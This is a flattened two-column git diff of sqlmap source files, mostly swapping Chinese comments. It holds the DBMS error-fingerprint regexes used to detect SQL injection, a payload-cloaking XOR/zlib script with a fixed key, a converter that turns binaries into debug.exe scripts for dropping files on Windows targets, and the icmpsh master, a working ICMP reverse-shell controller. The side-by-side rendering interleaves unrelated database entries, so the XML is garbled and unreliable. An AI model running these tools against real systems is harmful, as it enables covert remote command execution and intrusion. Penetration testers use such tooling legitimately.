<error regexp="CLI Driver.*?DB2"/> <!-- 匹配DB2 CLI驱动的错误信息 --> <error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="DB2 SQL error"/> <!-- 匹配DB2 SQL错误的通用错误信息 --> <error regexp="/vertica/Parser/scan"/>
<error regexp="\bdb2_\w+\(" /> <!-- 匹配DB2相关函数调用的错误信息 --> <error regexp="com\.vertica\.jdbc"/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/> <!-- 匹配包含SQLCODE和SQLSTATE的错误信息 --> <error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
<error regexp="com\.ibm\.db2\.jcc"/> <!-- 匹配IBM DB2 JCC驱动的错误信息 --> <error regexp="com\.vertica\.dsi\.dataengine"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/> <!-- 匹配Zend框架中DB2相关的异常信息 -->
<error regexp="Pdo[./_\\]Ibm"/> <!-- 匹配PDO IBM DB2驱动的错误信息 -->
<error regexp="DB2Exception"/> <!-- 匹配DB2异常的错误信息 -->
<error regexp="ibm_db_dbi\.ProgrammingError"/> <!-- 匹配ibm_db_dbi模块中的编程错误信息 -->
</dbms> </dbms>
<dbms value="Informix"> <!-- 定义数据库管理系统为Informix --> <dbms value="Mckoi">
<error regexp="Warning.*?\Wifx_"/> <!-- 匹配Informix扩展相关的警告信息 --> <error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="Exception.*?Informix"/> <!-- 匹配Informix相关的异常信息 --> <error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="Informix ODBC Driver"/> <!-- 匹配Informix ODBC驱动的错误信息 --> <error regexp="&lt;REGEX_LITERAL&gt;"/>
<error regexp="ODBC Informix driver"/> <!-- 匹配ODBC Informix驱动的错误信息 -->
<error regexp="com\.informix\.jdbc"/> <!-- 匹配Informix JDBC驱动的错误信息 -->
<error regexp="weblogic\.jdbc\.informix"/> <!-- 匹配WebLogic中Informix JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Informix"/> <!-- 匹配PDO Informix驱动的错误信息 -->
<error regexp="IfxException"/> <!-- 匹配Informix异常的错误信息 -->
</dbms>
<!-- Interbase/Firebird -->
<dbms value="Firebird"> <!-- 定义数据库管理系统为Firebird -->
<error regexp="Dynamic SQL Error"/> <!-- 匹配动态SQL错误的错误信息 -->
<error regexp="Warning.*?\Wibase_"/> <!-- 匹配Firebird扩展相关的警告信息 -->
<error regexp="org\.firebirdsql\.jdbc"/> <!-- 匹配Firebird SQL JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Firebird"/> <!-- 匹配PDO Firebird驱动的错误信息 -->
</dbms> </dbms>
<dbms value="SQLite"> <!-- 定义数据库管理系统为SQLite --> <dbms value="Presto">
<error regexp="SQLite/JDBCDriver"/> <!-- 匹配SQLite JDBC驱动的错误信息 --> <error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="SQLite\.Exception"/> <!-- 匹配SQLite异常的错误信息 --> <error regexp="io\.prestosql\.jdbc"/>
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/> <!-- 匹配Microsoft或System Data的SQLite异常信息 --> <error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/> <!-- 匹配与SQLite或SQLite3相关的警告信息 --> <error regexp="UNION query has different number of fields: \d+, \d+"/>
<error regexp="$SQLITE_ERROR$"/> <!-- 匹配SQLite错误的错误信息 --> <error regexp="line \d+:\d+: mismatched input '[^']+'. Expecting:"/>
<error regexp="SQLite error \d+:"/> <!-- 匹配SQLite错误代码的信息 -->
<error regexp="sqlite3.OperationalError:"/> <!-- 匹配SQLite3操作错误的信息 -->
<error regexp="SQLite3::SQLException"/> <!-- 匹配SQLite3 SQL异常的信息 -->
<error regexp="org\.sqlite\.JDBC"/> <!-- 匹配SQLite JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Sqlite"/> <!-- 匹配PDO SQLite驱动的错误信息 -->
<error regexp="SQLiteException"/> <!-- 匹配SQLite异常的错误信息 -->
</dbms> </dbms>
<dbms value="SAP MaxDB"> <!-- 定义数据库管理系统为SAP MaxDB --> <dbms value="Altibase">
<error regexp="SQL error.*?POS([0-9]+)"/> <!-- 匹配SQL错误信息并捕捉位置编号 --> <error regexp="Altibase\.jdbc\.driver"/>
<error regexp="Warning.*?\Wmaxdb_"/> <!-- 匹配MaxDB扩展相关的警告信息 -->
<error regexp="DriverSapDB"/> <!-- 匹配SapDB驱动的错误信息 -->
<error regexp="-3014.*?Invalid end of SQL statement"/> <!-- 匹配SQL语句无效结束的错误信息 -->
<error regexp="com\.sap\.dbtech\.jdbc"/> <!-- 匹配SAP DBTech JDBC驱动的错误信息 -->
<error regexp="$-3008$.*?: Invalid keyword or missing delimiter"/> <!-- 匹配无效关键字或缺失分隔符的错误信息 -->
</dbms> </dbms>
<dbms value="Sybase"> <!-- 定义数据库管理系统为Sybase --> <dbms value="MimerSQL">
<error regexp="Warning.*?\Wsybase_"/> <!-- 匹配Sybase扩展相关的警告信息 --> <error regexp="com\.mimer\.jdbc"/>
<error regexp="Sybase message"/> <!-- 匹配Sybase消息的错误信息 --> <error regexp="Syntax error,[^\n]+assumed to mean"/>
<error regexp="Sybase.*?Server message"/> <!-- 匹配Sybase服务器消息的错误信息 -->
<error regexp="SybSQLException"/> <!-- 匹配Sybase异常的错误信息 -->
<error regexp="Sybase\.Data\.AseClient"/> <!-- 匹配Sybase .NET AseClient的错误信息 -->
<error regexp="com\.sybase\.jdbc"/> <!-- 匹配Sybase JDBC驱动的错误信息 -->
</dbms> </dbms>
<dbms value="Ingres"> <!-- 定义数据库管理系统为Ingres --> <dbms value="ClickHouse">
<error regexp="Warning.*?\Wingres_"/> <!-- 匹配Ingres扩展相关的警告信息 --> <error regexp="Code: \d+. DB::Exception:"/>
<error regexp="Ingres SQLSTATE"/> <!-- 匹配Ingres SQLSTATE的错误信息 --> <error regexp="Syntax error: failed at position \d+"/>
<error regexp="Ingres\W.*?Driver"/> <!-- 匹配Ingres驱动的错误信息 -->
<error regexp="com\.ingres\.gcf\.jdbc"/> <!-- 匹配Ingres GCF JDBC驱动的错误信息 -->
</dbms> </dbms>
<dbms value="FrontBase"> <!-- 定义数据库管理系统为FrontBase --> <dbms value="CrateDB">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/> <!-- 匹配回滚事务的异常信息 --> <error regexp="io\.crate\.client\.jdbc"/>
<error regexp="com\.frontbase\.jdbc"/> <!-- 匹配FrontBase JDBC驱动的错误信息 -->
<error regexp="Syntax error 1. Missing"/> <!-- 匹配语法错误,未找到某些内容 -->
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/> <!-- 匹配语义或语法错误,后跟特定的错误码 -->
</dbms> </dbms>
<dbms value="HSQLDB"> <!-- 定义数据库管理系统为HSQLDB --> <dbms value="Cache">
<error regexp="Unexpected end of command in statement $"/> <!-- 匹配在SQL语句中指令意外结束的错误信息 --> <error regexp="encountered after end of query"/>
<error regexp="Unexpected token.*?in statement \["/> <!-- 匹配在SQL语句中意外标记的错误信息 --> <error regexp="A comparison operator is required here"/>
<error regexp="org\.hsqldb\.jdbc"/> <!-- 匹配HSQLDB JDBC驱动的错误信息 -->
</dbms> </dbms>
<dbms value="H2"> <!-- 定义数据库管理系统为H2 --> <dbms value="Raima Database Manager">
<error regexp="org\.h2\.jdbc"/> <!-- 匹配H2 JDBC驱动的错误信息 --> <error regexp="-10048: Syntax error"/>
<error regexp="\[42000-192$"/> <!-- 匹配H2特定错误代码的信息 --> <error regexp="rdmStmtPrepare\(.+?\) returned"/>
</dbms> </dbms>
<dbms value="MonetDB"> <!-- 定义数据库管理系统为MonetDB --> <dbms value="Virtuoso">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/> <!-- 匹配包含特定错误前缀的MonetDB错误信息 --> <error regexp="SQ074: Line \d+:"/>
<error regexp="$MonetDB$\[ODBC Driver"/> <!-- 匹配MonetDB ODBC驱动的错误信息 --> <error regexp="SR185: Undefined procedure"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/> <!-- 匹配MonetDB JDBC驱动的错误信息 --> <error regexp="SQ200: No table "/>
<error regexp="Virtuoso S0002 Error"/>
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
</dbms> </dbms>
</root> </root>

File diff suppressed because it is too large Load Diff

@ -9,114 +9,96 @@ See the file 'LICENSE' for copying permission
import os import os
import sys import sys
import wave # 用于处理 WAV 文件格式 import wave
# 指定蜂鸣音频文件的路径
BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
def beep(): def beep():
"""根据操作系统播放蜂鸣声。"""
try: try:
# 检测操作系统并调用相应的播放方法
if sys.platform.startswith("win"): if sys.platform.startswith("win"):
_win_wav_play(BEEP_WAV_FILENAME) # Windows 系统使用 WAV 播放 _win_wav_play(BEEP_WAV_FILENAME)
elif sys.platform.startswith("darwin"): elif sys.platform.startswith("darwin"):
_mac_beep() # macOS 系统使用系统蜂鸣 _mac_beep()
elif sys.platform.startswith("cygwin"): elif sys.platform.startswith("cygwin"):
_cygwin_beep(BEEP_WAV_FILENAME) # Cygwin 使用音频文件播放 _cygwin_beep(BEEP_WAV_FILENAME)
elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
_linux_wav_play(BEEP_WAV_FILENAME) # Linux 和 FreeBSD 系统使用 WAV 播放 _linux_wav_play(BEEP_WAV_FILENAME)
else: else:
_speaker_beep() # 其他系统使用控制台蜂鸣 _speaker_beep()
except: except:
# 捕获异常并使用控制台蜂鸣
_speaker_beep() _speaker_beep()
def _speaker_beep(): def _speaker_beep():
"""在控制台播放蜂鸣声(警报声)。""" sys.stdout.write('\a') # doesn't work on modern Linux systems
sys.stdout.write('\a') # 在现代 Linux 系统上可能无效
try: try:
sys.stdout.flush() # 尝试刷新标准输出 sys.stdout.flush()
except IOError: except IOError:
pass # 忽略任何 I/O 错误 pass
# Cygwin 使用系统命令播放音频文件 # Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
def _cygwin_beep(filename): def _cygwin_beep(filename):
os.system("play-sound-file '%s' 2>/dev/null" % filename) os.system("play-sound-file '%s' 2>/dev/null" % filename)
# macOS 系统使用 Carbon 库的 SysBeep 函数
def _mac_beep(): def _mac_beep():
import Carbon.Snd # 导入 Carbon 库 import Carbon.Snd
Carbon.Snd.SysBeep(1) # 播放系统蜂鸣声 Carbon.Snd.SysBeep(1)
# Windows 系统播放 WAV 文件
def _win_wav_play(filename): def _win_wav_play(filename):
import winsound # 导入 winsound 库 import winsound
winsound.PlaySound(filename, winsound.SND_FILENAME) # 播放指定的 WAV 文件 winsound.PlaySound(filename, winsound.SND_FILENAME)
# Linux 系统播放 WAV 文件的实现
def _linux_wav_play(filename): def _linux_wav_play(filename):
# 尝试使用不同的命令播放音频文件
for _ in ("aplay", "paplay", "play"): for _ in ("aplay", "paplay", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)): if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
return # 成功播放音乐后返回 return
import ctypes # 导入 ctypes 库以调用 C 函数 import ctypes
# PulseAudio 的相关常量定义
PA_STREAM_PLAYBACK = 1 PA_STREAM_PLAYBACK = 1
PA_SAMPLE_S16LE = 3 PA_SAMPLE_S16LE = 3
BUFFSIZE = 1024 # 缓冲区大小 BUFFSIZE = 1024
# 定义 PulseAudio 样本规格的结构
class struct_pa_sample_spec(ctypes.Structure): class struct_pa_sample_spec(ctypes.Structure):
_fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
try: try:
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") # 加载 PulseAudio 库 pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
except OSError: except OSError:
return # 如果加载失败,则返回 return
# 打开 WAV 文件
wave_file = wave.open(filename, "rb") wave_file = wave.open(filename, "rb")
# 设置 PulseAudio 样本规格
pa_sample_spec = struct_pa_sample_spec() pa_sample_spec = struct_pa_sample_spec()
pa_sample_spec.rate = wave_file.getframerate() # 获取采样频率 pa_sample_spec.rate = wave_file.getframerate()
pa_sample_spec.channels = wave_file.getnchannels() # 获取声道数 pa_sample_spec.channels = wave_file.getnchannels()
pa_sample_spec.format = PA_SAMPLE_S16LE # 设置样本格式 pa_sample_spec.format = PA_SAMPLE_S16LE
error = ctypes.c_int(0) error = ctypes.c_int(0)
# 创建 PulseAudio 流 pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error))
pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None,
"playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error))
if not pa_stream: if not pa_stream:
raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error)))
while True: while True:
# 获取延迟
latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error)) latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error))
if latency == -1: if latency == -1:
raise Exception("Getting latency failed") raise Exception("Getting latency failed")
buf = wave_file.readframes(BUFFSIZE) # 从 WAV 文件读取帧 buf = wave_file.readframes(BUFFSIZE)
if not buf: if not buf:
break # 如果没有更多帧可读,退出循环 break
# 播放读取的帧
if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)): if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)):
raise Exception("Could not play file") raise Exception("Could not play file")
wave_file.close() # 关闭 WAV 文件 wave_file.close()
# 确保所有数据都已播放完成
if pa.pa_simple_drain(pa_stream, ctypes.byref(error)): if pa.pa_simple_drain(pa_stream, ctypes.byref(error)):
raise Exception("Could not simple drain") raise Exception("Could not simple drain")
pa.pa_simple_free(pa_stream) # 释放 PulseAudio 流资源 pa.pa_simple_free(pa_stream)
if __name__ == "__main__": if __name__ == "__main__":
beep() # 调用蜂鸣函数 beep()

@ -7,99 +7,82 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function # 兼容 Python 2 和 3 的 print 函数 from __future__ import print_function
import os import os
import struct import struct
import sys import sys
import zlib # 用于数据压缩和解压缩 import zlib
from optparse import OptionError from optparse import OptionError
from optparse import OptionParser from optparse import OptionParser
# 在 Python 3 中定义 xrange 和 ord 的兼容
if sys.version_info >= (3, 0): if sys.version_info >= (3, 0):
xrange = range # 使用 Python 3 的 range xrange = range
ord = lambda _: _ # 在 Python 3 中直接使用字符 ord = lambda _: _
KEY = b"E6wRbVhD0IBeCiGJ" # 定义加密/解密的密钥 KEY = b"E6wRbVhD0IBeCiGJ"
def xor(message, key): def xor(message, key):
"""执行 XOR 操作,返回加密或解密后的字节序列。"""
# 对 message 的每个字节进行 XOR 运算,并返回字节串
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None): def cloak(inputFile=None, data=None):
"""对输入文件或数据进行加密和压缩。"""
if data is None: if data is None:
# 如果没有提供数据,则读取文件内容
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
data = f.read() # 以二进制模式读取文件数据 data = f.read()
# 对数据进行压缩后再使用 XOR 加密
return xor(zlib.compress(data), KEY) return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None): def decloak(inputFile=None, data=None):
"""对输入文件或数据进行解密和解压缩。"""
if data is None: if data is None:
# 如果没有提供数据,则读取文件内容
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
data = f.read() data = f.read()
try: try:
# 首先对数据进行 XOR 解密,然后解压缩
data = zlib.decompress(xor(data, KEY)) data = zlib.decompress(xor(data, KEY))
except Exception as ex: except Exception as ex:
# 如果解压缩过程中发生异常,打印错误信息并退出
print(ex) print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
sys.exit(1) sys.exit(1)
finally: finally:
f.close() # 确保文件流被关闭 f.close()
return data # 返回解密后的数据 return data
def main(): def main():
"""主函数,负责解析命令行参数并执行加密或解密操作。""" usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0] # 使用说明 parser = OptionParser(usage=usage, version='0.2')
parser = OptionParser(usage=usage, version='0.2') # 创建 OptionParser 对象
try: try:
# 添加命令行选项 parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') # 解密选项 parser.add_option('-i', dest='inputFile', help='Input file')
parser.add_option('-i', dest='inputFile', help='Input file') # 输入文件选项 parser.add_option('-o', dest='outputFile', help='Output file')
parser.add_option('-o', dest='outputFile', help='Output file') # 输出文件选项
(args, _) = parser.parse_args() # 解析命令行参数 (args, _) = parser.parse_args()
if not args.inputFile: if not args.inputFile:
parser.error('Missing the input file, -h for help') # 如果未提供输入文件,则报错 parser.error('Missing the input file, -h for help')
except (OptionError, TypeError) as ex: except (OptionError, TypeError) as ex:
parser.error(ex) # 捕获解析错误 parser.error(ex)
# 检查输入文件是否存在
if not os.path.isfile(args.inputFile): if not os.path.isfile(args.inputFile):
print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile)
sys.exit(1) sys.exit(1)
# 根据是否需要解密选择处理函数
if not args.decrypt: if not args.decrypt:
data = cloak(args.inputFile) # 加密文件内容 data = cloak(args.inputFile)
else: else:
data = decloak(args.inputFile) # 解密文件内容 data = decloak(args.inputFile)
# 如果未指定输出文件名,则根据是否解密自动生成
if not args.outputFile: if not args.outputFile:
if not args.decrypt: if not args.decrypt:
args.outputFile = args.inputFile + '_' # 添加后缀表示加密 args.outputFile = args.inputFile + '_'
else: else:
args.outputFile = args.inputFile[:-1] # 移除后缀表示解密 args.outputFile = args.inputFile[:-1]
# 写入结果到输出文件
f = open(args.outputFile, 'wb') f = open(args.outputFile, 'wb')
f.write(data) # 写入数据 f.write(data)
f.close() # 关闭文件 f.close()
if __name__ == '__main__': if __name__ == '__main__':
main() # 程序入口 main()

@ -7,7 +7,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function # 兼容 Python 2 和 3 的 print 函数 from __future__ import print_function
import os import os
import sys import sys
@ -16,97 +16,81 @@ from optparse import OptionError
from optparse import OptionParser from optparse import OptionParser
def convert(inputFile): def convert(inputFile):
"""将给定的二进制输入文件转换为 ASCII 调试脚本。""" fileStat = os.stat(inputFile)
fileStat = os.stat(inputFile) # 获取文件状态 fileSize = fileStat.st_size
fileSize = fileStat.st_size # 获取文件大小
# 检查文件大小是否超过 65280 字节(可调试的最大限制)
if fileSize > 65280: if fileSize > 65280:
print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile) print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile)
sys.exit(1) # 如果文件太大,退出程序 sys.exit(1)
# 开始构建调试脚本 script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) # 设置脚本名称 script += "%x\nf 0100 ffff 00\n" % fileSize
script += "%x\nf 0100 ffff 00\n" % fileSize # 写入文件大小信息 scrString = ""
scrString = "" # 用于构建写入命令 counter = 256
counter = 256 # 地址计数器从 256 开始 counter2 = 0
counter2 = 0 # 0 计数器,用于控制输出的字符数
# 读取输入文件的二进制内容
fp = open(inputFile, "rb") fp = open(inputFile, "rb")
fileContent = fp.read() # 读取所有内容 fileContent = fp.read()
# 遍历文件的每个字节
for fileChar in fileContent: for fileChar in fileContent:
# 在 Python 3 中字符是字节,直接使用;在 Python 2 中需要使用 ord() 函数
unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar)
# 如果字符不是空字节0则进行处理
if unsignedFileChar != 0: if unsignedFileChar != 0:
counter2 += 1 # 增加有效字符计数 counter2 += 1
if not scrString: if not scrString:
# 如果 scrString 为空,开始创建新的写入命令
scrString = "e %0x %02x" % (counter, unsignedFileChar) scrString = "e %0x %02x" % (counter, unsignedFileChar)
else: else:
# 否则,将字符附加到 scrString 中
scrString += " %02x" % unsignedFileChar scrString += " %02x" % unsignedFileChar
elif scrString: elif scrString:
# 如果遇到空字节,且 scrString 中有内容,需要把当前 scrString 添加到脚本
script += "%s\n" % scrString script += "%s\n" % scrString
scrString = "" # 清空 scrString scrString = ""
counter2 = 0 # 重置有效字符计数 counter2 = 0
counter += 1 # 增加地址计数器 counter += 1
# 每 20 个有效字符输出一次
if counter2 == 20: if counter2 == 20:
script += "%s\n" % scrString # 将当前 scrString 加入脚本 script += "%s\n" % scrString
scrString = "" # 清空 scrString scrString = ""
counter2 = 0 # 重置计数 counter2 = 0
# 完成脚本,添加结束指令
script += "w\nq\n" script += "w\nq\n"
return script # 返回生成的调试脚本 return script
def main(inputFile, outputFile): def main(inputFile, outputFile):
"""主功能,处理文件输入输出。"""
# 检查输入文件是否是常规文件
if not os.path.isfile(inputFile): if not os.path.isfile(inputFile):
print("ERROR: the provided input file '%s' is not a regular file" % inputFile) print("ERROR: the provided input file '%s' is not a regular file" % inputFile)
sys.exit(1) # 如果不是,退出程序 sys.exit(1)
# 调用转换函数
script = convert(inputFile) script = convert(inputFile)
# 如果提供了输出文件,写入脚本
if outputFile: if outputFile:
with open(outputFile, "w") as fpOut: fpOut = open(outputFile, "w")
sys.stdout = fpOut # 将标准输出重定向到输出文件 sys.stdout = fpOut
sys.stdout.write(script) # 写入脚本内容 sys.stdout.write(script)
sys.stdout.close() # 关闭文件 sys.stdout.close()
else: else:
print(script) # 如果没有输出文件,直接打印脚本 print(script)
if __name__ == "__main__": if __name__ == "__main__":
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0] # 程序用法说明 usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
parser = OptionParser(usage=usage, version="0.1") # 创建解析器 parser = OptionParser(usage=usage, version="0.1")
try: try:
# 添加命令行选项 parser.add_option("-i", dest="inputFile", help="Input binary file")
parser.add_option("-i", dest="inputFile", help="Input binary file") # 输入文件
parser.add_option("-o", dest="outputFile", help="Output debug.exe text file") # 输出文件 parser.add_option("-o", dest="outputFile", help="Output debug.exe text file")
(args, _) = parser.parse_args() # 解析参数 (args, _) = parser.parse_args()
if not args.inputFile: if not args.inputFile:
parser.error("Missing the input file, -h for help") # 必须提供输入文件 parser.error("Missing the input file, -h for help")
except (OptionError, TypeError) as ex: except (OptionError, TypeError) as ex:
parser.error(ex) # 捕获错误并报告 parser.error(ex)
inputFile = args.inputFile # 输入文件名 inputFile = args.inputFile
outputFile = args.outputFile # 输出文件名 outputFile = args.outputFile
main(inputFile, outputFile) # 调用主函数 main(inputFile, outputFile)

@ -5,6 +5,7 @@
# #
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com> # Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
# #
#
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or # the Free Software Foundation, either version 3 of the License, or
@ -27,117 +28,117 @@ def setNonBlocking(fd):
""" """
Make a file descriptor non-blocking Make a file descriptor non-blocking
""" """
import fcntl # 导入用于文件控制选项的库
flags = fcntl.fcntl(fd, fcntl.F_GETFL) # 获取当前文件描述符的状态标志 import fcntl
flags = flags | os.O_NONBLOCK # 将非阻塞标志添加到当前标志
fcntl.fcntl(fd, fcntl.F_SETFL, flags) # 设置文件描述符为非阻塞模式 flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst): def main(src, dst):
"""主程序函数,用于设置 ICMP socket 和处理命令。"""
if sys.platform == "nt": if sys.platform == "nt":
sys.stderr.write('icmpsh master can only run on Posix systems\n') # 检查是否在 Windows 上运行 sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255) sys.exit(255)
try: try:
from impacket import ImpactDecoder # 导入 Impacket 库用于解析数据包 from impacket import ImpactDecoder
from impacket import ImpactPacket # 导入 Impacket 用于构建数据包 from impacket import ImpactPacket
except ImportError: except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n') # 检查是否安装 Impacket sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255) sys.exit(255)
# 将标准输入设置为非阻塞 # Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno() # 获取标准输入的文件描述符 stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd) setNonBlocking(stdin_fd)
# 为 ICMP 协议打开一个 socket # Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try: try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # 创建原始 ICMP socket sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error: except socket.error:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n') # 检查运行权限 sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1) sys.exit(1)
sock.setblocking(0) # 设置 socket 为非阻塞模式 sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 启用 IP 头包含在发送包中 sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 创建一个新的 IP 包,设置源和目的地址 # Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP() ip = ImpactPacket.IP()
ip.set_ip_src(src) # 设置源 IP ip.set_ip_src(src)
ip.set_ip_dst(dst) # 设置目标 IP ip.set_ip_dst(dst)
# 创建一个新的 ICMP 包类型为回显应答ECHO REPLY # Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP() icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# 实例化 IP 数据包解码器 # Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder() decoder = ImpactDecoder.IPDecoder()
# 在无限循环中发送和接收命令
while True: while True:
try: try:
cmd = '' cmd = ''
# 等待输入的回复 # Wait for incoming replies
if sock in select.select([sock], [], [])[0]: # 监控 socket 是否可读 if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096) # 接收最大 4096 字节的数据 buff = sock.recv(4096)
if 0 == len(buff): if 0 == len(buff):
# 如果接收到的数据长度为 0说明对方关闭了 socket # Socket remotely closed
sock.close() sock.close()
sys.exit(0) sys.exit(0)
# 解析接收到的数据包 # Packet received; decode and display it
ippacket = decoder.decode(buff) # 解码 IP 包 ippacket = decoder.decode(buff)
icmppacket = ippacket.child() # 获取 ICMP 包 icmppacket = ippacket.child()
# 检查 ICMP 数据包的源和目的地址以及类型 # If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# 获取标识符和序列号 # Get identifier and sequence number
ident = icmppacket.get_icmp_id() ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq() seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string() # 获取数据 data = icmppacket.get_data_as_string()
if len(data) > 0: if len(data) > 0:
sys.stdout.write(data) # 输出接收到的数据 sys.stdout.write(data)
# 从标准输入读取命令 # Parse command from standard input
try: try:
cmd = sys.stdin.readline() # 读取用户输入的命令 cmd = sys.stdin.readline()
except: except:
pass pass
if cmd == 'exit\n': # 如果输入为 'exit',退出循环 if cmd == 'exit\n':
return return
# 设置序列号和标识符,以便回复 # Set sequence number and identifier
icmp.set_icmp_id(ident) icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id) icmp.set_icmp_seq(seq_id)
# 将命令作为数据包含在 ICMP 包中 # Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd)) icmp.contains(ImpactPacket.Data(cmd))
# 计算 ICMP 包的校验和 # Calculate its checksum
icmp.set_icmp_cksum(0) icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1 # 自动计算校验和 icmp.auto_checksum = 1
# 将 ICMP 包插入到 IP 包中 # Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp) ip.contains(icmp)
try: try:
# 发送数据包到目标主机 # Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0)) sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex: except socket.error as ex:
sys.stderr.write("'%s'\n" % ex) # 输出错误信息 sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush() sys.stderr.flush()
except: except:
break break
